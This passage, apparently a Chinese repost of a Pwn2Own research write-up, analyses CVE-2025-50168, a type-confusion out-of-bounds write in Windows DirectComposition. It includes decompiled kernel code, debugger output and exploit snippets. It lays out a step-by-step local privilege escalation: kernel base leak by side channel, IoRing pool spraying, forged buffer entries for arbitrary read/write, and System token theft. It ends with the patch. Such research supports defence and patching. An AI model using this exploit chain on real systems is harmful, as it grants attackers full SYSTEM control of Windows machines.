status = NtDCompositionProcessChannelBatchBuffer(g_hChannel, size, &dwOutArg1, &dwOutArg2);
ResourceId仍设置为 1,并且还传递了在第二步中获得的 hSharedResource句柄。ResourceType指定为 0x13,OpenMode设置为 0,表示 读取模式。
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(
unsigned __int64 this,
constunsigned __int64 *a2,
unsignedint a3,
char a4,
unsignedint *a5)
{
[…]
case3u: // OpenSharedResource
this = (unsigned __int64)CmdBuf;
if ( v6 < 0x18 )
goto LABEL_38;
ResourceType_1 = *((_DWORD *)CmdBuf + 4);
if ( ResourceType_1 - 1 > 0xBE )
goto LABEL_38;
v157 = CmdBuf + 3;
v153 = v6 - 24;
ResourceHandle = (void *)CmdBuf[1];
ResourceId = *((_DWORD *)CmdBuf + 1);
if ( *((_DWORD *)CmdBuf + 5) )
result = DirectComposition::CApplicationChannel::OpenExternalSharedWriteResource(
ChannelObj,
ResourceId,
ResourceType_1,
ResourceHandle);
else
result = ((int (__stdcall *)(DirectComposition::CApplicationChannel *__hidden, unsignedint, unsignedint, void *))DirectComposition::CApplicationChannel::OpenExternalSharedReadResource)(
ChannelObj,
ResourceId,
ResourceType_1,
ResourceHandle);
break;
[…]
__int64 __fastcall DirectComposition::CApplicationChannel::OpenExternalSharedReadResource(
DirectComposition::CApplicationChannel *this,
unsignedint ResourceId,
unsignedint ResourceType,
void *ResourceHandle)
{
int v7; // r9d
PVOID v8; // rcx
__int64 i; // rax
conststructDirectComposition::ResourceObject *v11; // rbx
signed __int32 v12; // eax
PVOID Object; // [rsp+30h] [rbp-18h] BYREF
structDirectComposition::CResourceMarshaler *v14; // [rsp+38h] [rbp-10h] BYREF
v14 = 0LL;
Object = 0LL;
v7 = DirectComposition::ResourceObject::ResolveHandle(
ResourceHandle,
1u,
1,
(structDirectComposition::ResourceObject **)&Object);
if ( v7 < 0 )
return (unsignedint)v7;
v8 = Object;
for ( i = *((unsignedint *)Object + 9); ; LODWORD(i) = dword_2763B0[i] )
{
if ( (unsignedint)i >= 0xC0 )
{
ObfDereferenceObject(Object);
return (unsignedint)-1073741811;
}
if ( (_DWORD)i == ResourceType )
break;
}
if ( ResourceType != 182 )
{
_InterlockedCompareExchange((volatilesigned __int32 *)Object + 14, 1, 0);
if ( *((_DWORD *)v8 + 14) != 1 )
{
ObfDereferenceObject(Object);
return (unsignedint)-1073741790;
}
v11 = (conststructDirectComposition::ResourceObject *)Object;
goto LABEL_8;
}
_InterlockedCompareExchange((volatilesigned __int32 *)Object + 14, 2, 0);
v12 = _InterlockedCompareExchange((volatilesigned __int32 *)v8 + 14, 3, 2);
v11 = (conststructDirectComposition::ResourceObject *)Object;
if ( v12 != 2 )
{
ObfDereferenceObject(Object);
v7 = -1073741790;
}
if ( v7 >= 0 )
{
LABEL_8:
v7 = DirectComposition::CApplicationChannel::OpenInternalSharedReadResource(this, ResourceType, v11, &v14);
if ( v7 >= 0 )
return (unsignedint)DirectComposition::CApplicationChannel::RegisterExternalResource(
(__int64)this,
v14,
ResourceId,
ResourceType,
2);
}
return (unsignedint)v7;
}
在 DirectComposition::CApplicationChannel::OpenExternalSharedReadResource中,使用作为参数传递的 ResourceHandle检索 Composition对象,并且该函数检查内部资源编组器对象是否已与该对象关联。
但是,由于我们已经在步骤 3 中释放了它,因此不再设置内部资源编组器。因此,最终调用 DirectComposition::CApplicationChannel::OpenInternalSharedReadResource。
__int64 __fastcall DirectComposition::CApplicationChannel::OpenInternalSharedReadResource(
DirectComposition::CApplicationChannel *this,
unsignedint ResourceType,
conststructDirectComposition::ResourceObject *SharedResource,
structDirectComposition::CResourceMarshaler **NewMarshalerObject)
{
__int64 v8; // rax
structDirectComposition::CResourceMarshaler *v9; // rbx
__int64 v10; // rax
__int64 result; // rax
if ( ResourceType == 0xB6 )
{
v10 = DirectComposition::Memory::AllocateAndClear_0(0x48uLL, 0x74764344u);
v9 = (structDirectComposition::CResourceMarshaler *)v10;
if ( v10 )
{
DirectComposition::CResourceMarshaler::CResourceMarshaler(v10, 134LL);
*((_QWORD *)v9 + 7) = (char *)SharedResource + 24;
*(_QWORD *)v9 = &DirectComposition::CVisualTargetMarshaler::`vftable';
}
else
{
v9 = 0LL;
}
if ( v9 )
goto LABEL_7;
*((_DWORD *)SharedResource + 14) = 2;
LABEL_10:
ObfDereferenceObject(SharedResource);
return 0xC0000017LL;
}
v8 = DirectComposition::Memory::AllocateAndClear_0(0x40uLL, 0x30734344u);
v9 = (struct DirectComposition::CResourceMarshaler *)v8;
if ( !v8 )
goto LABEL_10;
DirectComposition::CResourceMarshaler::CResourceMarshaler(v8, ResourceType);
*(_QWORD *)v9 = &DirectComposition::CSharedResourceMarshaler<DirectComposition::CResourceMarshaler,0>::`vftable';
*((_QWORD *)v9 + 7) = (char *)SharedResource + 24;
LABEL_7:
result = DirectComposition::CApplicationChannel::InitializeAndRegisterInternalResource(this, v9);
if ( (int)result >= 0 )
*NewMarshalerObject = v9;
return result;
}
在 DirectComposition::CApplicationChannel::OpenInternalSharedReadResource中,除非请求的 ResourceType是 0xB6,否则会创建大小为 0x40的 CResourceMarshaler对象。
这是所有资源类型派生的基础对象。
1: kd> pc
win32kbase!DirectComposition::CApplicationChannel::OpenInternalSharedReadResource+0x39:
fffff802`2fd6cc25 e8ae60f9ff call win32kbase!DirectComposition::Memory::AllocateAndClear (fffff802`2fd02cd8)
1: kd> p
win32kbase!DirectComposition::CApplicationChannel::OpenInternalSharedReadResource+0x3e:
fffff802`2fd6cc2a 488bd8 mov rbx,rax
1: kd> !pool @rax
Pool page ffffd383327d8300 region is Paged pool
ffffd383327d8020 size: 50 previous size: 0 (Allocated) MiSn
ffffd383327d8070 size: 50 previous size: 0 (Allocated) SeAt
[…]
*ffffd383327d82f0 size: 50 previous size: 0 (Allocated) *DCs0 Process: ffffbd8b7d19e080
Pooltag DCs0 : DCOMPOSITIONTAG_SHAREDRESOURCEMARSHALER, Binary : win32kbase!DirectComposition::C
ffffd383327d8340 size: 50 previous size: 0 (Allocated) SeAt
ffffd383327d8390 size: 50 previous size: 0 (Free) SeAt
[…]
2: kd> pc
win32kbase!DirectComposition::CApplicationChannel::RegisterExternalResource+0x79:
fffff802`2fd68ea1 e81ad01800 call win32kbase!memcpy (fffff802`2fef5ec0)
0: kd> r
rax=ffffd383391cfb50 rbx=ffffd3833ae43050 rcx=ffffd383391cfb50
rdx=ffff818bcc6e7850 rsi=0000000000000013 rdi=0000000000000000
rip=fffff8022fd68ea1 rsp=ffff818bcc6e77b0 rbp=0000000000000000
r8=0000000000000008 r9=0000000000000013 r10=0000000000000001
r11=ffffd383327d8300 r12=0000000000000003 r13=ffffd383327d8300
r14=0000000000000040 r15=0000000000000001
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
win32kbase!DirectComposition::CApplicationChannel::RegisterExternalResource+0x79:
fffff802`2fd68ea1 e81ad01800 call win32kbase!memcpy (fffff802`2fef5ec0)
0: kd> dq @rdx l1
ffff818b`cc6e7850 ffffd383`327d8300
与第一步中创建内部资源编组器类似,调用函数 DirectComposition::CApplicationChannel::RegisterExternalResource,在 ChannelObj中注册新创建的 CResourceMarshaler对象。
作为最后一步,让我们在资源上设置浮点属性
((SET_RESOURCE_FLOAT_PROPERTY*)CmdBuf)->CmdId = SetResourceFloatProperty;
((SET_RESOURCE_FLOAT_PROPERTY*)CmdBuf)->ResourceId = 0x1;
((SET_RESOURCE_FLOAT_PROPERTY*)CmdBuf)->PropertyType = 0x5;
((SET_RESOURCE_FLOAT_PROPERTY*)CmdBuf)->FValue = 0x41414141;
size = sizeof(SET_RESOURCE_FLOAT_PROPERTY);
status = NtDCompositionProcessChannelBatchBuffer(g_hChannel, size, &dwOutArg1, &dwOutArg2);
让我们构造 SetResourceFloatProperty命令。我们将 ResourceId设置为 1,PropertyType设置为 0x5,FValue设置为 0x41414141——一个可以表示为浮点数的任意 4 字节值。
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(
unsigned __int64 this,
constunsigned __int64 *a2,
unsignedint a3,
char a4,
unsignedint *a5)
{
[…]
if ( v10 == 0xB ) // SetResourceFloatProperty
{
if ( v6 < 0x18 )
goto LABEL_38;
v157 = CmdBuf + 3;
v153 = v6 - 24;
v18 = CmdBuf[2];
v19 = *((_DWORD *)CmdBuf + 2);
v20 = *((_DWORD *)CmdBuf + 1);
v156[0] = 0;
v21 = DirectComposition::CApplicationChannel::LookupResourceMarshaler(ChannelObj, v20);
v22 = v21;
if ( v21 )
{
result = (*(__int64 (__fastcall **)(structDirectComposition::CResourceMarshaler *, DirectComposition::CApplicationChannel *, _QWORD, unsigned __int64, char *))(*(_QWORD *)v21 + 240LL))(
v21,
ChannelObj,
v19,
v18,
v156);
if ( result >= 0
&& *((_QWORD *)v22 + 5)
&& DirectComposition::CApplicationChannel::UnbindAnimation(ChannelObj, v22, v19) )
{
[…]
__int64 __fastcall DirectComposition::CResourceMarshaler::SetFloatProperty(
DirectComposition::CResourceMarshaler *this,
unsignedint a2,
float a3,
bool *a4)
{
conststructDirectComposition::ResPropInfo *TargetProperty; // rax
_BYTE *v5; // r9
__int64 v6; // r10
__int64 v7; // rdx
TargetProperty = DirectComposition::CResourceMarshaler::GetTargetProperty(this, a2);
if ( !TargetProperty || *((_DWORD *)TargetProperty + 2) != 18 )
return3221225485LL;
v7 = *((unsignedint *)TargetProperty + 3);
if ( *(float *)(v7 + v6) != a3 )
{
*(float *)(v7 + v6) = a3;
*(_DWORD *)(*((unsignedint *)TargetProperty + 4) + v6) |= *((_DWORD *)TargetProperty + 5);
*v5 = 1;
}
return0LL;
}
5: kd>
win32kbase!DirectComposition::CResourceMarshaler::SetFloatProperty+0x27:
fffff802`2fdc7a87 f3420f111412 movss dword ptr [rdx+r10],xmm2
5: kd> r
rax=fffff8022ff26be8 rbx=0000000000000005 rcx=0000000000000039
rdx=000000000000005c rsi=ffffd383327d8300 rdi=0000000000000000
rip=fffff8022fdc7a87 rsp=ffff818bd0947870 rbp=0000000000000023
r8=fffff8022fcb0000 r9=ffff818bd0947904 r10=ffffd383327d8300
r11=0000000000000000 r12=000000000000000c r13=fffff8022fcb0000
r14=ffffd3833ae43050 r15=ffffd18c04c80010
iopl=0 nv up ei pl nz na pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040203
win32kbase!DirectComposition::CResourceMarshaler::SetFloatProperty+0x27:
fffff802`2fdc7a87 f3420f111412 movss dword ptr [rdx+r10],xmm2 ds:002b:ffffd383`327d835c=0069006c
5: kd> dq @r10
ffffd383`327d8300 fffff802`2ff02800 00000000`00000000
ffffd383`327d8310 00000000`00000000 00000000`00000001
ffffd383`327d8320 00000013`00000001 00000000`00000000
ffffd383`327d8330 00000000`00000000 ffffbd8b`7f703818
ffffd383`327d8340 50494c43`03050556 00000000`0b20926c
ffffd383`327d8350 00740072`00690056 0069006c`00610075
ffffd383`327d8360 00690074`0061007a 0044002d`006e006f
ffffd383`327d8370 0074006b`00730065 00630041`0070006f
5: kd> !pool @r10
Pool page ffffd383327d8300 region is Paged pool
ffffd383327d8020 size: 50 previous size: 0 (Allocated) MiSn
ffffd383327d8070 size: 50 previous size: 0 (Allocated) SeAt
[…]
*ffffd383327d82f0 size: 50 previous size: 0 (Allocated) *DCs0 Process: ffffbd8b7d19e080
Pooltag DCs0 : DCOMPOSITIONTAG_SHAREDRESOURCEMARSHALER, Binary : win32kbase!DirectComposition::C
ffffd383327d8340 size: 50 previous size: 0 (Allocated) SeAt
ffffd383327d8390 size: 50 previous size: 0 (Free) SeAt
[…]
5: kd> ? xmm2
Evaluate expression: 1094795585 = 00000000`41414141
然后,调用 DirectComposition::CResourceMarshaler::SetFloatProperty。对于 PropertyType0x5,DirectComposition::CResourceMarshaler::GetTargetProperty返回偏移量 0x5C;然而,由于 CResourceMarshaler对象的大小仅为 0x40,因此发生 越界写入。
这被认为是漏洞的根本原因:CResourceMarshaler的类型字段设置为 0x13,对应于 CControllerMarshaler。结果,TargetProperty被解释为对该类型有效 (即 0x5),导致计算出不正确的偏移量——这是一个经典的 类型混淆场景。
利用
重新审视利用条件
重申一下,利用此漏洞所需的条件如下:
- 易受攻击的对象驻留在 0x50 字节 LFH 桶中
- 内存从 Paged Pool分配
- 攻击者可以在同一 LFH 桶内的下一个池块的偏移量 0xC处写入 四个任意字节
鉴于上述条件,能够在偏移量 0xC 处写入四个字节到下一个块的能力特别有趣。在使用小端表示的 64 位系统上,在该偏移量写入四个字节可以覆盖观察到的对象布局中相邻 64 位指针的高 32 位 (高双字)。覆盖指针的高半部分很重要,因为在 Windows x64 上,内核指针的高位遵循规范布局,将内核模式地址与用户模式地址区分开来。
在这种情况下,伪造高 32 位可能导致最初引用内核内存的指针转而指向用户空间。结合目标配置中缺乏 SMAP 强制执行,这种受约束的四字节写入成为将内核引用重定向到攻击者控制的用户内存的实用向量。
可能的利用场景调查
在这些条件下,可能的利用场景包括以下内容:
- 如果目标对象在偏移量 0x8 处包含指针,则偏移量 0xC 处的四字节覆盖可能允许伪造指针的高 32 位,使其看起来指向用户模式地址空间。
- 如果目标对象是指针数组,则覆盖第一个索引处的指针 (索引 1,即 x64 上的偏移量 0x8) 可能会启用相同的高双字伪造,以使该元素引用用户内存。
- 如果覆盖的偏移量 0xC 表示缓冲区长度或大小字段,则受约束的写入可能会转化为池溢出。
- 如果覆盖的偏移量 0xC 是引用计数器,则破坏它可能会通过过早降低对象的引用计数来产生释放后使用 (UAF) 条件。
经过大量努力寻找可行的目标对象进行利用后,我成功识别了一个可以用来实现上述第二个场景的原语——即指针数组场景。
//0xd0 bytes (sizeof)
struct_IORING_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct_NT_IORING_INFO UserInfo; //0x8
VOID* Section; //0x38
struct_NT_IORING_SUBMISSION_QUEUE* SubmissionQueue; //0x40
struct_MDL* CompletionQueueMdl; //0x48
struct_NT_IORING_COMPLETION_QUEUE* CompletionQueue; //0x50
ULONGLONG ViewSize; //0x58
LONG InSubmit; //0x60
ULONGLONG CompletionLock; //0x68
ULONGLONG SubmitCount; //0x70
ULONGLONG CompletionCount; //0x78
ULONGLONG CompletionWaitUntil; //0x80
struct_KEVENT CompletionEvent; //0x88
UCHAR SignalCompletionEvent; //0xa0
struct_KEVENT* CompletionUserEvent; //0xa8
ULONG RegBuffersCount; //0xb0
struct_IOP_MC_BUFFER_ENTRY** RegBuffers; //0xb8
ULONG RegFilesCount; //0xc0
VOID** RegFiles; //0xc8
};
通过基于 Yarden Shafir 的文章 One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 中的见解稍微转换视角,我能够在这种情况下应用相同的想法。
Shafir 的原语展示了攻击者如何滥用 RegBuffers/RegBuffersCount对——使用任意地址递增等原语——将 RegBuffers转换为指向攻击者控制的内存的伪造数组。我的情况的关键是 RegBuffers字段,它表示为 _IOP_MC_BUFFER_ENTRY**。
__int64 __fastcall IopIoRingDispatchRegisterBuffers(__int64 a1, __int64 a2)
{
[…]
Pool2 = (_QWORD *)ExAllocatePool2(0x101uLL, 8 * v5, 0x42527249uLL);
[…]
HRESULT BuildIoRingRegisterBuffers(
HIORING ioRing,
UINT32 count,
IORING_BUFFER_INFO const [] buffers,
UINT_PTR userData
);
通过在 IoRing构造期间调整 count参数 (BuildIoRingRegisterBuffers的第二个参数),攻击者可以强制分配大小与易受攻击对象匹配的池块。RegBuffers是指向 _IOP_MC_BUFFER_ENTRY元素的指针数组。利用策略是破坏存储在该数组中的指针值,使它们指向攻击者控制的用户模式内存,该内存包含精心制作的 _IOP_MC_BUFFER_ENTRY结构。如果底层漏洞允许 Paged Pool 溢出或 越界写入到该块中,则可以使用受约束的写入来修改这些指针条目,从而导致内核解引用并操作用户地址空间中的伪造对象。这个指针伪造步骤是利用原语的核心。
然而,即使成功获得 AAR/AAW原语,仍然必须解决 write-what-where问题。从 Windows 11 24H2开始,使用 NtQuerySystemInformation检索内核地址受到限制。
这意味着需要 信息泄漏漏洞才能进一步进行。为了解决这个挑战,我采用了以下方法。
为了解决这个问题,我使用了由 carrot_c4k3 at exploits-forsale发布的 prefetch-tool。(非常感谢 emma!) 该技术将最初影响 Linux 的 EntryBleed漏洞改编为 Windows 11,并利用 CPU 侧信道攻击推断 ntoskrnl 的基地址。
尽管该技术在 2025 年 4 月 Windows 11 24H2 安全补丁后变得不太可靠,但我对该工具进行了几次修改,使其能够更可靠和确定性地泄漏内核地址。(截至撰写本文时,原始版本在某些环境中似乎也运行良好;这种可变性反映了 CPU 侧信道攻击的环境依赖性。出于这些及相关原因,我在 Pwn2Own 期间在主机而不是 VM 内部执行了漏洞利用。)
现在,获得了 ntoskrnl 的基地址后,我能够通过 PsInitialSystemProcess全局变量定位 System 进程的地址。通过遍历进程列表并识别与漏洞利用进程对应的 _EPROCESS结构,我用 System 进程的 Token替换了其 Token,从而实现了 本地权限提升 (LPE)。
以下概述了分步利用策略:
-
使用 CPU 侧信道攻击泄漏ntoskrnl的基地址。
-
在地址 0x100000000处 分配4GB 内存并用代表
_IOP_MC_BUFFER_ENTRY的伪造对象填充它。 -
喷射
_IORING_OBJECT对象,配置为分配大小为 0x40的
RegBuffers。 -
以规则的间隔 释放喷射对象的子集以创建可预测的 空洞。
-
在步骤 4 中创建的空洞中 喷射
CResourceMarshaler对象。 -
通过在
SetResourceFloatProperty命令中将FValue设置为 0x1来 触发 越界写入。 -
重复步骤 6
直到获得 AAR/AAW原语。如果被覆盖目标对象的低 32 位地址部分与步骤 2 中伪造对象的起始地址重合,则 IoRing原语将正常工作。
-
通过定位和修改
_EPROCESS结构 窃取 System 进程令牌。 -
弹出 SYSTEM shell
并享受您的权限提升。
Exploit PoC 可以在 这里 找到。
补丁:CVE-2025-50168
__int64 __fastcall DirectComposition::CSharedResourceMarshaler<DirectComposition::CResourceMarshaler,1>::SetFloatProperty(
DirectComposition::CResourceMarshaler *a1,
unsignedint a2,
float a3,
bool *a4)
{
if ( (unsignedint)Feature_1282722105__private_IsEnabledDeviceUsageNoInline() )
return0xC000000DLL;
else
returnDirectComposition::CResourceMarshaler::SetFloatProperty(a1, a2, a3, a4);
}
通过 CSharedResourceMarshaler对象的 vtable 调用的 SetFloatProperty方法已被修补以返回错误。
特别感谢 David 和 Louis。
Four Bytes, One Lie: A SMAP-Free Confidence Trick on Kernel Pointers
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Hyeonjin《四字节的谎言:无 SMAP 保护下的内核指针信任欺骗》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论